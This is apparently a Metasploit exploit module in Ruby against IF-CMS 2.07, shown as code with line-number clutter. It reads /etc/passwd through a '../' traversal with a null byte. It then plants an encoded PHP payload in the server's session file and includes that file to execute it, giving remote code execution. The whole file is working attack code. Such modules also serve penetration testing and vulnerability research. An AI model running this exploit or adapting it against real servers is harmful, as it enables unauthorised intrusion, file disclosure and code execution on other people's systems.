1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 |
## # $Id: if-cms.rb 2011-03-15 20:28:10 tecr0c $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## # -*- coding: utf-8 -*- require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking PHPSESSID_REGEX = /(?:^|;?)PHPSESSID=(\w+)(?:;|$)/ include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name'=> 'IF-CMS', 'Description' => %q{ Local File Inclusion vulnerability within IF-CMS 2.07 which allows remote attackers to include and execute arbitrary local files via a ../ at the newlang parameter within the index.php page. }, 'Author'=> ['TecR0c'], 'License' => BSD_LICENSE, 'Version' => '$Revision: $', 'References'=> [ ['URL' => 'http://sourceforge.net/projects/if-cms/'], ], 'Payload' => { # max header length for Apache (8190), # http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize # minus 23 for good luck (and extra spacing) 'Space' => 8190 - 23, 'DisableNops' => true, 'Compat'=> { 'ConnectionType' => 'find', }, 'BadChars'=> "'\"`"# quotes are escaped by PHP's magic_quotes_gpc in a default install }, 'Targets'=> [['If-CMS 2.07', {}]], 'DefaultTarget'=> 0, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'DisclosureDate' => 'March 15 2011' )) register_options( [ OptString.new('URI',[true, 'PHP file contains the vulnerable parameter', '/index.php']), OptString.new('PATH', [true, 'Path where the php is stored', 'var/lib/php5/sess_!SESSIONID!']), ], self.class) end def check urltotest = datastore['URI'] + "?newlang=" + ("../" * 8) + "etc/passwd%00" target_code = 200 print_status "Attempting to POST to #{urltotest}" response = send_request_cgi({'uri' => urltotest, 'method' => 'GET'}) unless defined? response print_error 'Server did not respond to HTTP GET request' return Exploit::CheckCode::Safe end code = response.code unless code == target_code print_error "Expected HTTP code #{target_code}, but got #{code}." return Exploit::CheckCode::Safe end print_status "We received the expected HTTP code #{target_code}" # We will need the cookie PHPSESSID to continue cookies = response.headers['Set-Cookie'] # Make sure cookies were set if defined? cookies and cookies =~ PHPSESSID_REGEX print_status "We successfully sent a PHPSESSID of '#{$1}'" else print_error 'The server did not send us the cookie we were looking for' return Exploit::CheckCode::Safe end # Check to see loca file inclusion is possible if response.body =~ /root/ print_status "We were successfully able to validate gp_magic_quotes = Off" return Exploit::CheckCode::Vulnerable else print_error 'The webserver seems to have gp_magic_quotes On' return Exploit::CheckCode::Safe end end def exploit uri = datastore['URI'] # Prepare PHP file contents encoded_php_file = Rex::Text.uri_encode("<?php #{payload.encoded} ?>") urlpayload = datastore['URI'] + "?newlang=#{encoded_php_file}%00" # Deliver the payload print_status('Writing malicious payload to the remote server') delivery_response = send_request_cgi({'uri' => urlpayload}) cookie = delivery_response.headers['Set-Cookie'] # Make sure cookie is set if defined? cookie and cookie =~ PHPSESSID_REGEX print_status "file containing payload is 'sess_#{$1}'" else print_error 'The server did not send us the cookie we were looking for' return Exploit::CheckCode::Safe end # Make sure cookies were set if cookie.nil? raise RuntimeError, 'The server did not set any cookies' end # Contents of PHPSESSID. About to be set. session_id = nil # Retrieve the session id from PHPSESSID if cookie =~ PHPSESSID_REGEX session_id = $1 else raise RuntimeError, 'The cookie PHPSESSID was not set.' end # The call should return HTTP code 200 if delivery_response.code != 200 raise RuntimeError, "Server returned unexpected HTTP code #{delivery_response.code}" end # Prepare the value that will execute our payload detonation = datastore['PATH'].sub('!SESSIONID!', session_id) # Small delay as we're just going to assume we succeeded. urlsession = datastore['URI'] + "?newlang=" + ("../" * 8) + "#{detonation}%00" send_request_cgi({'uri' => urlsession,'method' => 'GET'}, 0.01) handler end end |